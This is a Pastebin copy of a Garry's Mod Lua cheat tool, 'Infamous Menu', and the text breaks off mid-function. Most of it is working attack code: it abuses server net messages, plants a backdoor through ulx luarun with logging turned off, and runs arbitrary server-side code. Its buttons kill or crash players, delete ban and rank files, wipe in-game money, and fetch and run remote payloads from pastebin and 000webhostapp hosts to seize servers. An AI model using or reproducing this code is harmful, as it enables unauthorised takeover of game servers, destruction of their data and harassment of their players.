Guest User

Untitled

a guest
Jun 20th, 2019
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.88 KB | None | 0 0
  1. surface.PlaySound("HL1/fvox/bell.wav")
  2.  
  3.  
  4. Version = "v1.2"
  5. netKey = "nostrip"
  6.  
  7. totalExploits = 0
  8. BackdoorsFound = 0
  9.  
  10. local ply = LocalPlayer()
  11.  
  12.  
  13. local blur = Material("pp/blurscreen")
  14. local function DrawBlur(panel, amount)
  15. local x, y = panel:LocalToScreen(0, 0)
  16. local scrW, scrH = ScrW(), ScrH()
  17. surface.SetDrawColor(255, 255, 255)
  18. surface.SetMaterial(blur)
  19. for i = 1, 6 do
  20. blur:SetFloat("$blur", (i / 3) * (amount or 6))
  21. blur:Recompute()
  22. render.UpdateScreenEffectTexture()
  23. surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
  24. end
  25. end
  26.  
  27. function ValidNetString( str )
  28. local status, error = pcall( net.Start, str )
  29. return status
  30. end
  31.  
  32. local function playSound(url)
  33. sound.PlayURL(url, '', function( station )
  34. if ( IsValid( station ) ) then
  35. station:SetPos( LocalPlayer():GetPos() )
  36. station:Play()
  37. end
  38. end)
  39. end
  40.  
  41. hook.Add("Think", "RAINBOWPLAYER", function()
  42. local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  43. LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
  44. LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
  45. end)
  46.  
  47. function HtxPooledString()
  48. if IsMessagePooled( netKey ) then return "Detected!"
  49. else return "Not Detected!"
  50. end
  51. end
  52.  
  53.  
  54. function IsMessagePooled( netmessage )
  55. BackdoorStatus, error = pcall(net.Start,netmessage)
  56. return BackdoorStatus
  57. end
  58.  
  59.  
  60.  
  61. if( ValidNetString("start_wd_emp") ) then
  62. totalExploits = 1 + totalExploits
  63. end
  64.  
  65. if( ValidNetString("properties") ) then
  66. totalExploits = 1 + totalExploits
  67. end
  68.  
  69. if( ValidNetString("egg") ) then
  70. totalExploits = 1 + totalExploits
  71. end
  72.  
  73. if( ValidNetString("steamid2") ) then
  74. totalExploits = 1 + totalExploits
  75. end
  76.  
  77. if( ValidNetString("bodyman_model_change") ) then
  78. totalExploits = 1 + totalExploits
  79. end
  80.  
  81.  
  82. function SploitNotify(text)
  83. local notify = vgui.Create( "DPanel" )
  84. notify:SetSize( 200, 50 )
  85. notify:SetPos( ScrW() - 200, -50 )
  86. notify.Paint = function(self, w, h)
  87. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  88. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  89. draw.SimpleText( text, "Title", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  90. end
  91. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  92. timer.Simple( 3, function()
  93. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  94. end);end) end
  95.  
  96.  
  97. -- Exploit 1
  98. function removeAll()
  99. for k,v in pairs(player.GetAll()) do
  100. stripPlayer(v)
  101. end
  102. end
  103.  
  104. function removeAll()
  105. for k,v in pairs(me:IsAdmin()) do
  106. stripPlayer(v)
  107. end
  108. end
  109.  
  110. function removeAll()
  111. for k,v in pairs(me:IsSuperAdmin()) do
  112. stripPlayer(v)
  113. end
  114. end
  115.  
  116.  
  117. function stripPlayer(ply)
  118. if ply:IsPlayer() then
  119.  
  120. for k,v in pairs(ply:GetWeapons()) do
  121.  
  122. net.Start("properties")
  123. net.WriteString( "remove" , 32 )
  124. net.WriteEntity( v )
  125. net.SendToServer()
  126. end
  127. end
  128.  
  129. end
  130.  
  131. function removeAll()
  132. for k,v in pairs(player.GetAll()) do
  133. stripPlayer(v)
  134. end
  135. end
  136.  
  137. -- Exploit 2
  138. function HackKeypad()
  139. net.Start('start_wd_emp')
  140. net.SendToServer()
  141. end
  142.  
  143. -- Exploit 3
  144.  
  145. function GiveEasterEgg1()
  146. net.Start("egg")
  147. net.SendToServer()
  148. SploitNotify("Gave Easter Egg")
  149.  
  150. end
  151.  
  152. -- Exploit 4
  153.  
  154. function Lagger1()
  155. timer.Create( "lagger9", 0, 0, function()
  156. for i = 1, 100 do
  157. net.Start( "steamid2" )
  158. net.WriteString( "Infamous Menu Boi" )
  159. net.SendToServer()
  160. end
  161. end)
  162. end
  163.  
  164.  
  165.  
  166. -- Superadmin Injector
  167. function Inject()
  168. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 255, 255 )," Injecting..." )
  169. if ( ply:IsSuperAdmin() ) then
  170. timer.Simple( 3, function()
  171. if( ValidNetString("nostrip") ) then
  172.  
  173. else
  174. RunConsoleCommand( "ulx", "logecho", "0" )
  175. RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('nostrip')" )
  176. RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('nostrip') net.Receive('nostrip', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
  177. RunConsoleCommand( "ulx", "logecho", "1" )
  178. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 0, 255, 0 )," Successfully Injected!" )
  179. end
  180. end )
  181. else
  182. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 0, 0 )," Failed! Your Not Superadmin!" )
  183. end
  184. if( ValidNetString("nostrip") ) then
  185. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 255, 255 )," Backdoor is Active!" )
  186. end
  187. end
  188.  
  189.  
  190. -- Fonts
  191.  
  192. surface.CreateFont( "Title", {
  193. font = "Lato Light",
  194. size = 30,
  195. weight = 250,
  196. antialias = true,
  197. strikeout = false,
  198. additive = true,
  199. } )
  200.  
  201. surface.CreateFont( "Status", {
  202. font = "Lato Light",
  203. size = 25,
  204. weight = 250,
  205. antiaalias = true,
  206. strikeout = false,
  207. additive = true,
  208. } )
  209.  
  210. surface.CreateFont( "Welcome", {
  211. font = "Lato Light",
  212. size = 25,
  213. weight = 10,
  214. antiaalias = true,
  215. strikeout = false,
  216. additive = true,
  217. } )
  218.  
  219.  
  220. -- Menus Derma
  221.  
  222.  
  223. local Infamous = vgui.Create( "DFrame" )
  224. Infamous:SetSize( 630, 450 )
  225. Infamous:SetVisible( true )
  226. Infamous:SetDraggable( false )
  227. Infamous:ShowCloseButton( false )
  228. Infamous:Center()
  229. Infamous:SetTitle("")
  230. Infamous:MakePopup()
  231. Infamous.Paint = function( self, w, h )
  232. DrawBlur(Infamous, 2)
  233. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  234. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  235. draw.SimpleText( "Infamous Menu", "Title", Infamous:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  236. end
  237.  
  238.  
  239. local InfamousCategories = vgui.Create( "DFrame", LOL )
  240. InfamousCategories:SetSize( 150, 450 )
  241. InfamousCategories:SetVisible( true )
  242. InfamousCategories:SetDraggable( false )
  243. InfamousCategories:ShowCloseButton( false )
  244. InfamousCategories:SetPos( 465, 315)
  245. InfamousCategories:SetTitle("")
  246. InfamousCategories:MakePopup()
  247. InfamousCategories.Paint = function( self, w, h )
  248. DrawBlur(InfamousCategories, 2)
  249. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  250. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  251. draw.SimpleText( "Categories", "Title", InfamousCategories:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  252. end
  253.  
  254. local InfamousClose = vgui.Create( "DButton", Infamous)
  255. InfamousClose:SetSize( 35, 35 )
  256. InfamousClose:SetPos( Infamous:GetWide() - 36,9 )
  257. InfamousClose:SetText( "X" )
  258. InfamousClose:SetFont( "Default" )
  259. InfamousClose:SetTextColor( Color( 255, 255, 255 ) )
  260. InfamousClose.Paint = function()
  261.  
  262. end
  263. InfamousClose.DoClick = function()
  264. CloseEverything()
  265. end
  266.  
  267. local WelcomeLabel = vgui.Create( "DLabel", Infamous )
  268. WelcomeLabel:SetPos( 100, 100 )
  269. WelcomeLabel:SetFont("Welcome")
  270. WelcomeLabel:SetText( "Hello, "..ply:GetName().."\nThank you for using Infamous Menu! We will be \nUpdating our Menu so click the 'Check Version' Button to see \n if you have the right version :)")
  271. WelcomeLabel:SizeToContents()
  272.  
  273. local TotalExploits = vgui.Create( "DLabel", Infamous )
  274. TotalExploits:SetPos( 230, 425 )
  275. TotalExploits:SetText( "Total Exploits: "..totalExploits.." |" )
  276. TotalExploits:SizeToContents()
  277.  
  278. local BackdoorStatus = vgui.Create( "DLabel", Infamous )
  279. BackdoorStatus:SetPos( 320, 425 )
  280. BackdoorStatus:SetText( "Backdoor: "..HtxPooledString() )
  281. BackdoorStatus:SizeToContents()
  282. --
  283. if IsMessagePooled( netKey ) then BackdoorStatus:SetTextColor( Color(0,255,0) ) else BackdoorStatus:SetTextColor( Color(255,0,0) ) end
  284. --
  285.  
  286. local VersionLabel = vgui.Create( "DLabel", Infamous )
  287. VersionLabel:SetPos( 550, 425 )
  288. VersionLabel:SetText( "Version: "..Version )
  289.  
  290. local NameLabel = vgui.Create( "DLabel", Infamous )
  291. NameLabel:SetPos( 10, 425 )
  292. NameLabel:SetText( "Hello, "..ply:GetName().."!" )
  293. NameLabel:SizeToContents()
  294.  
  295. -- Check Version Button
  296.  
  297.  
  298. local Checkversion = vgui.Create( "DButton", Infamous )
  299. Checkversion:SetText( "Check Version" )
  300. Checkversion:SizeToContents()
  301. Checkversion:SetTall( 25 )
  302. Checkversion:SetWide( 100 )
  303. Checkversion:SetPos( 250, 275 )
  304. Checkversion:SetTextColor( Color( 255, 255, 255 ) )
  305. Checkversion:SetToolTip( "Checks the Menus Version." )
  306. Checkversion.Paint = function( self, w, h )
  307. DrawBlur(Checkversion, 2)
  308. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  309. Checkversion.DoClick = function()
  310. if ( Version == "v1.2") then
  311. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 0, 255, 0 )," Version is up to date!" )
  312. else
  313. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 0, 0 )," Out of date!" )
  314. end
  315. end
  316. end
  317.  
  318.  
  319.  
  320. local BackdoorScanner = vgui.Create( "DButton", Infamous )
  321. BackdoorScanner:SetText( "Backdoor Scanner" )
  322. BackdoorScanner:SizeToContents()
  323. BackdoorScanner:SetTall( 25 )
  324. BackdoorScanner:SetWide( 100 )
  325. BackdoorScanner:SetPos( 185, 315 )
  326. BackdoorScanner:SetTextColor( Color( 255, 255, 255 ) )
  327. BackdoorScanner:SetToolTip( "Checks the server for Backdoors." )
  328. BackdoorScanner.Paint = function( self, w, h )
  329. DrawBlur(BackdoorScanner, 2)
  330. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  331. BackdoorScanner.DoClick = function()
  332. SploitNotify("Scanning...")
  333. surface.PlaySound("buttons/blip1.wav")
  334. checkbackdoors()
  335.  
  336. end
  337. end
  338.  
  339.  
  340.  
  341. local Injector = vgui.Create( "DButton",Infamous )
  342. Injector:SetText( "Superadmin Injector" )
  343. Injector:SizeToContents()
  344. Injector:SetTall( 25 )
  345. Injector:SetWide( 115 )
  346. Injector:SetPos( 300, 315 )
  347. Injector:SetTextColor( Color( 255, 255, 255 ) )
  348. Injector:SetToolTip( "Injects Superadmin if the server is backdoored." )
  349. Injector.Paint = function( self, w, h )
  350. DrawBlur(Injector, 2)
  351. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  352. Injector.DoClick = function()
  353. SploitNotify("Injecting...")
  354. surface.PlaySound("buttons/blip1.wav")
  355. Inject()
  356.  
  357. end
  358. end
  359.  
  360.  
  361.  
  362.  
  363. local MainMenuButton = vgui.Create( "DButton", InfamousCategories )
  364. MainMenuButton:SetText( "Main Menu" )
  365. MainMenuButton:SizeToContents()
  366. MainMenuButton:SetTall( 50 )
  367. MainMenuButton:SetWide( MainMenuButton:GetWide() + 100 )
  368. MainMenuButton:SetPos( 0, 75 )
  369. MainMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  370. MainMenuButton:SetToolTip( "Main Menu" )
  371. MainMenuButton.Paint = function( self, w, h )
  372. DrawBlur(MainMenuButton, 2)
  373. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  374. MainMenuButton.DoClick = function()
  375. closealltabs()
  376. ply:ConCommand( "infamous_menu" )
  377. end
  378. end
  379.  
  380. local ExploitMenuButton = vgui.Create( "DButton", InfamousCategories )
  381. ExploitMenuButton:SetText( "Exploit Menu" )
  382. ExploitMenuButton:SizeToContents()
  383. ExploitMenuButton:SetTall( 50 )
  384. ExploitMenuButton:SetWide( ExploitMenuButton:GetWide() + 100 )
  385. ExploitMenuButton:SetPos( 0, 140 )
  386. ExploitMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  387. ExploitMenuButton:SetToolTip( "Exploit Menu" )
  388. ExploitMenuButton.Paint = function( self, w, h )
  389. DrawBlur(ExploitMenuButton, 2)
  390. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  391. ExploitMenuButton.DoClick = function()
  392. closealltabs()
  393. ply:ConCommand( "infamous_exploits" )
  394. end
  395. end
  396.  
  397.  
  398. local BackdoorButton = vgui.Create( "DButton", InfamousCategories )
  399. BackdoorButton:SetText( "Backdoor Menu" )
  400. BackdoorButton:SizeToContents()
  401. BackdoorButton:SetTall( 50 )
  402. BackdoorButton:SetWide( BackdoorButton:GetWide() + 100 )
  403. BackdoorButton:SetPos( 0, 270 )
  404. BackdoorButton:SetTextColor( Color( 255, 255, 255 ) )
  405. BackdoorButton:SetToolTip( "bd menu" )
  406. BackdoorButton.Paint = function( self, w, h )
  407. DrawBlur(BackdoorButton, 2)
  408. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  409. BackdoorButton.DoClick = function()
  410. closealltabs()
  411. ply:ConCommand( "infamous_backdoor" )
  412.  
  413. end
  414. end
  415.  
  416.  
  417.  
  418. local BackdoorMenu = vgui.Create( "DFrame" )
  419. BackdoorMenu:SetSize( 630, 450 )
  420. BackdoorMenu:SetVisible( true )
  421. BackdoorMenu:SetDraggable( false )
  422. BackdoorMenu:ShowCloseButton( false )
  423. BackdoorMenu:Center()
  424. BackdoorMenu:SetTitle("")
  425. BackdoorMenu:MakePopup()
  426. BackdoorMenu.Paint = function( self, w, h )
  427. DrawBlur(BackdoorMenu, 2)
  428. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  429. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  430. draw.SimpleText( "Infamous Backdoor Menu", "Title", BackdoorMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  431. draw.SimpleText( "Macro Parameter", "Title", BackdoorMenu:GetWide() / 2, 225, Color(255,255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  432. end
  433.  
  434.  
  435. local BackdoorMenuClose = vgui.Create( "DButton", BackdoorMenu )
  436. BackdoorMenuClose:SetSize( 35, 35 )
  437. BackdoorMenuClose:SetPos( BackdoorMenu:GetWide() - 36,9 )
  438. BackdoorMenuClose:SetText( "X" )
  439. BackdoorMenuClose:SetFont( "Default" )
  440. BackdoorMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  441. BackdoorMenuClose.Paint = function()
  442.  
  443. end
  444. BackdoorMenuClose.DoClick = function()
  445. CloseEverything()
  446. end
  447.  
  448.  
  449.  
  450.  
  451.  
  452. local Consolerun = vgui.Create( "DTextEntry", BackdoorMenu )
  453. Consolerun:SetText( strDefaultText or "" )
  454. Consolerun:SetPos( 125, 100)
  455. Consolerun:SetSize( 350, 20 )
  456. Consolerun.OnEnter = function() Window:Close() Consolerun:GetValue()
  457. end
  458.  
  459.  
  460. local RunCommand = vgui.Create( "DButton", BackdoorMenu )
  461. RunCommand:SetText( "OK" )
  462. RunCommand:SetSize( 55, 25 )
  463. RunCommand:SetPos( 230, 150 )
  464. RunCommand:SetTextColor( Color( 255, 255, 255 ) )
  465. RunCommand.DoClick = function()
  466. SploitNotify("Sending Command")
  467. surface.PlaySound("buttons/blip1.wav")
  468. net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  469. end
  470.  
  471. RunCommand.Paint = function( self, w, h )
  472. DrawBlur(RunCommand, 2)
  473. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  474. end
  475.  
  476. local Disco = vgui.Create( "DButton", BackdoorMenu )
  477. Disco:SetText( "Hentai" )
  478. Disco:SetSize( 55, 25 )
  479. Disco:SetPos( 320, 150 )
  480. Disco:SetTextColor( Color( 255, 255, 255 ) )
  481. Disco.DoClick =
  482. function() surface.PlaySound("buttons/blip1.wav") net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  483. SploitNotify("Starting Disco")
  484. net.Start(netKey)
  485. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/4yTWnEB4\",function(b,l,h,c)RunString(b)end,nil)" )
  486. net.WriteBit(1)
  487. net.SendToServer()
  488. end
  489.  
  490. local Disco = vgui.Create( "DButton", BackdoorMenu )
  491. Disco:SetText( "Slav" )
  492. Disco:SetSize( 55, 25 )
  493. Disco:SetPos( 400, 150 )
  494. Disco:SetTextColor( Color( 255, 255, 255 ) )
  495. Disco.DoClick =
  496. function() surface.PlaySound("buttons/blip1.wav") net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  497. SploitNotify("Starting Disco")
  498. net.Start(netKey)
  499. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/tTPp8dU0\",function(b,l,h,c)RunString(b)end,nil)" )
  500. net.WriteBit(1)
  501. net.SendToServer()
  502. end
  503.  
  504. Disco.Paint = function( self, w, h )
  505. DrawBlur(Disco, 2)
  506. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  507. end
  508.  
  509. local Status = vgui.Create( "DLabel", BackdoorMenu )
  510. Status:SetText("Status: "..HtxPooledString() )
  511. Status:SetPos( 380,410 )
  512. Status:SetFont("Status")
  513. Status:SizeToContents()
  514. Status:SetContentAlignment( 5 )
  515. Status:SetTextColor( Color(255,50,50,255) )
  516.  
  517. --
  518. if IsMessagePooled( netKey ) then Status:SetTextColor( Color(0,255,0) ) else Status:SetTextColor( Color(255,0,0) ) end
  519. --
  520.  
  521.  
  522.  
  523.  
  524. local KillEveryone = vgui.Create( "DButton", BackdoorMenu )
  525. KillEveryone:SetText( "Kill Everyone" )
  526. KillEveryone:SizeToContents()
  527. KillEveryone:SetTall( 25 )
  528. KillEveryone:SetWide( KillEveryone:GetWide() + 25 )
  529. KillEveryone:SetPos( 50, 250 )
  530. KillEveryone:SetTextColor( Color( 255, 255, 255 ) )
  531. KillEveryone:SetToolTip( "Kills everyone in the server!" )
  532. KillEveryone.Paint = function( self, w, h )
  533. DrawBlur(KillEveryone, 2)
  534. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  535. KillEveryone.DoClick = function()
  536. SploitNotify("Killing Everyone")
  537. surface.PlaySound("garrysmod/ui_click.wav")
  538. net.Start(netKey)
  539. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  540. net.WriteBit(1)
  541. net.SendToServer()
  542. end
  543. end
  544.  
  545. local LaunchEveryone = vgui.Create( "DButton", BackdoorMenu )
  546. LaunchEveryone:SetText( "Launch Everyone" )
  547. LaunchEveryone:SizeToContents()
  548. LaunchEveryone:SetTall( 25 )
  549. LaunchEveryone:SetWide( LaunchEveryone:GetWide() + 20 )
  550. LaunchEveryone:SetPos( 160, 250 )
  551. LaunchEveryone:SetTextColor( Color( 255, 255, 255 ) )
  552. LaunchEveryone:SetToolTip( "Launches everyone on the server" )
  553. LaunchEveryone.Paint = function( self, w, h )
  554. DrawBlur(LaunchEveryone, 2)
  555. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  556. LaunchEveryone.DoClick = function()
  557. SploitNotify("Launching Players")
  558. surface.PlaySound("garrysmod/ui_click.wav")
  559. net.Start(netKey)
  560. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  561. net.WriteBit(1)
  562. net.SendToServer()
  563. end
  564. end
  565.  
  566.  
  567. local EarRape = vgui.Create( "DButton", BackdoorMenu )
  568. EarRape:SetText( "Ear Rape" )
  569. EarRape:SizeToContents()
  570. EarRape:SetTall( 25 )
  571. EarRape:SetWide( EarRape:GetWide() + 20 )
  572. EarRape:SetPos( 285, 250 )
  573. EarRape:SetTextColor( Color( 255, 255, 255 ) )
  574. EarRape:SetToolTip( "Starts a very loud sound on the server." )
  575. EarRape.Paint = function( self, w, h )
  576. DrawBlur(EarRape, 2)
  577. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  578. EarRape.DoClick = function()
  579. SploitNotify("Starting Ear Rape")
  580. surface.PlaySound("garrysmod/ui_click.wav")
  581. net.Start(netKey)
  582. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  583. net.WriteBit(1)
  584. net.SendToServer()
  585. end
  586. end
  587.  
  588.  
  589. local IngiteEveryone = vgui.Create( "DButton", BackdoorMenu )
  590. IngiteEveryone:SetText( "Ignite Everyone" )
  591. IngiteEveryone:SizeToContents()
  592. IngiteEveryone:SetTall( 25 )
  593. IngiteEveryone:SetWide( EarRape:GetWide() + 25 )
  594. IngiteEveryone:SetPos( 370, 250 )
  595. IngiteEveryone:SetTextColor( Color( 255, 255, 255 ) )
  596. IngiteEveryone:SetToolTip( "Ignites Everyon on the server." )
  597. IngiteEveryone.Paint = function( self, w, h )
  598. DrawBlur(IngiteEveryone, 2)
  599. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  600. IngiteEveryone.DoClick = function()
  601. SploitNotify("Igniting Everyone")
  602. surface.PlaySound("garrysmod/ui_click.wav")
  603. net.Start(netKey)
  604. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  605. net.WriteBit(1)
  606. net.SendToServer()
  607. end
  608. end
  609.  
  610.  
  611. local DeleteBans = vgui.Create( "DButton", BackdoorMenu )
  612. DeleteBans:SetText( "Delete Bans" )
  613. DeleteBans:SizeToContents()
  614. DeleteBans:SetTall( 25 )
  615. DeleteBans:SetWide( DeleteBans:GetWide() + 20 )
  616. DeleteBans:SetPos( 480, 250 )
  617. DeleteBans:SetTextColor( Color( 255, 255, 255 ) )
  618. DeleteBans:SetToolTip( "Deletes all Bans!" )
  619. DeleteBans.Paint = function( self, w, h )
  620. DrawBlur(DeleteBans, 2)
  621. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  622. DeleteBans.DoClick = function()
  623. SploitNotify("Deleting Bans")
  624. surface.PlaySound("garrysmod/ui_click.wav")
  625. net.Start(netKey)
  626. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  627. net.WriteBit(1)
  628. net.SendToServer()
  629. end
  630. end
  631.  
  632.  
  633. local DeleteRanks = vgui.Create( "DButton", BackdoorMenu )
  634. DeleteRanks:SetText( "Delete ULX Ranks" )
  635. DeleteRanks:SizeToContents()
  636. DeleteRanks:SetTall( 25 )
  637. DeleteRanks:SetWide( DeleteRanks:GetWide() + 20 )
  638. DeleteRanks:SetPos( 50, 295 )
  639. DeleteRanks:SetTextColor( Color( 255, 255, 255 ) )
  640. DeleteRanks:SetToolTip( "Deletes ULX Groups / Ranks!" )
  641. DeleteRanks.Paint = function( self, w, h )
  642. DrawBlur(DeleteRanks, 2)
  643. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  644. DeleteRanks.DoClick = function()
  645. SploitNotify("Deleting ULX")
  646. surface.PlaySound("garrysmod/ui_click.wav")
  647. net.Start(netKey)
  648. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  649. net.WriteBit(1)
  650. net.SendToServer()
  651. end
  652. end
  653.  
  654.  
  655. local ResetMoney = vgui.Create( "DButton", BackdoorMenu )
  656. ResetMoney:SetText( "Reset RP Money" )
  657. ResetMoney:SizeToContents()
  658. ResetMoney:SetTall( 25 )
  659. ResetMoney:SetWide( ResetMoney:GetWide() + 20 )
  660. ResetMoney:SetPos( 180, 295 )
  661. ResetMoney:SetTextColor( Color( 255, 255, 255 ) )
  662. ResetMoney:SetToolTip( "Resets all DarkRP Money" )
  663. ResetMoney.Paint = function( self, w, h )
  664. DrawBlur(ResetMoney, 2)
  665. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  666. ResetMoney.DoClick = function()
  667. SploitNotify("Reseting Money")
  668. surface.PlaySound("garrysmod/ui_click.wav")
  669. net.Start(netKey)
  670. net.WriteString( "rp_resetallmoney")
  671. net.WriteBit(1)
  672. net.SendToServer()
  673. end
  674. end
  675.  
  676.  
  677. local Seize = vgui.Create( "DButton", BackdoorMenu )
  678. Seize:SetText( "Seize Server" )
  679. Seize:SizeToContents()
  680. Seize:SetTall( 25 )
  681. Seize:SetWide( Seize:GetWide() + 20 )
  682. Seize:SetPos( 300, 295 )
  683. Seize:SetTextColor( Color( 255, 255, 255 ) )
  684. Seize:SetToolTip( "Seizes the server lol." )
  685. Seize.Paint = function( self, w, h )
  686. DrawBlur(Seize, 2)
  687. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  688. Seize.DoClick = function()
  689. SploitNotify("Server Seized")
  690. surface.PlaySound("garrysmod/ui_click.wav")
  691. net.Start(netKey)
  692. net.WriteString( "http.Fetch(\"https://infamousseize.000webhostapp.com/index.php\",function(b,l,h,c)RunString(b)end,nil)" )
  693. net.WriteBit(1)
  694. net.SendToServer()
  695. end
  696. end
  697.  
  698.  
  699. local crashcunts = vgui.Create( "DButton", BackdoorMenu )
  700. crashcunts:SetText( "Crash Cunts" )
  701. crashcunts:SizeToContents()
  702. crashcunts:SetTall( 25 )
  703. crashcunts:SetWide( crashcunts:GetWide() + 20 )
  704. crashcunts:SetPos( 375, 295 )
  705. crashcunts:SetTextColor( Color( 255, 255, 255 ) )
  706. crashcunts:SetToolTip( "Crashes Admins/VIPS." )
  707. crashcunts.Paint = function( self, w, h )
  708. DrawBlur(crashcunts, 2)
  709. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  710. crashcunts.DoClick = function()
  711. SploitNotify("Crashing")
  712. surface.PlaySound("garrysmod/ui_click.wav")
  713. local crash = "for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end"
  714. net.Start(netKey)
  715. net.WriteString( crash )
  716. net.WriteBit(1)
  717. net.SendToServer()
  718. end
  719. end
  720.  
  721. local miracle = vgui.Create( "DButton", BackdoorMenu )
  722. miracle:SetText( "Ready for a miracle?" )
  723. miracle:SizeToContents()
  724. miracle:SetTall( 25 )
  725. miracle:SetWide( miracle:GetWide() + 20 )
  726. miracle:SetPos( 480, 295 )
  727. miracle:SetTextColor( Color( 255, 255, 255 ) )
  728. miracle:SetToolTip( "Are you Ready for a miracle?" )
  729. miracle.Paint = function( self, w, h )
  730. DrawBlur(miracle, 2)
  731. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  732. miracle.DoClick = function()
  733. SploitNotify("Miracle :D!")
  734. surface.PlaySound("garrysmod/ui_click.wav")
  735. local miraclerdy = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('http://cyanidegang.000webhostapp.com/zyro/infamous/miracle.mp3') ]]) end"
  736. net.Start(netKey)
  737. net.WriteString( miraclerdy )
  738. net.WriteBit(1)
  739. net.SendToServer()
  740. end
  741. end
  742.  
  743. local miracle = vgui.Create( "DButton", BackdoorMenu )
  744. miracle:SetText( "Don't Do Cocain?" )
  745. miracle:SizeToContents()
  746. miracle:SetTall( 25 )
  747. miracle:SetWide( miracle:GetWide() + 20 )
  748. miracle:SetPos( 480, 350 )
  749. miracle:SetTextColor( Color( 255, 255, 255 ) )
  750. miracle:SetToolTip( "DON'T DO COCAIN" )
  751. miracle.Paint = function( self, w, h )
  752. DrawBlur(miracle, 2)
  753. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  754. miracle.DoClick = function()
  755. SploitNotify("No Cocain !")
  756. surface.PlaySound("garrysmod/ui_click.wav")
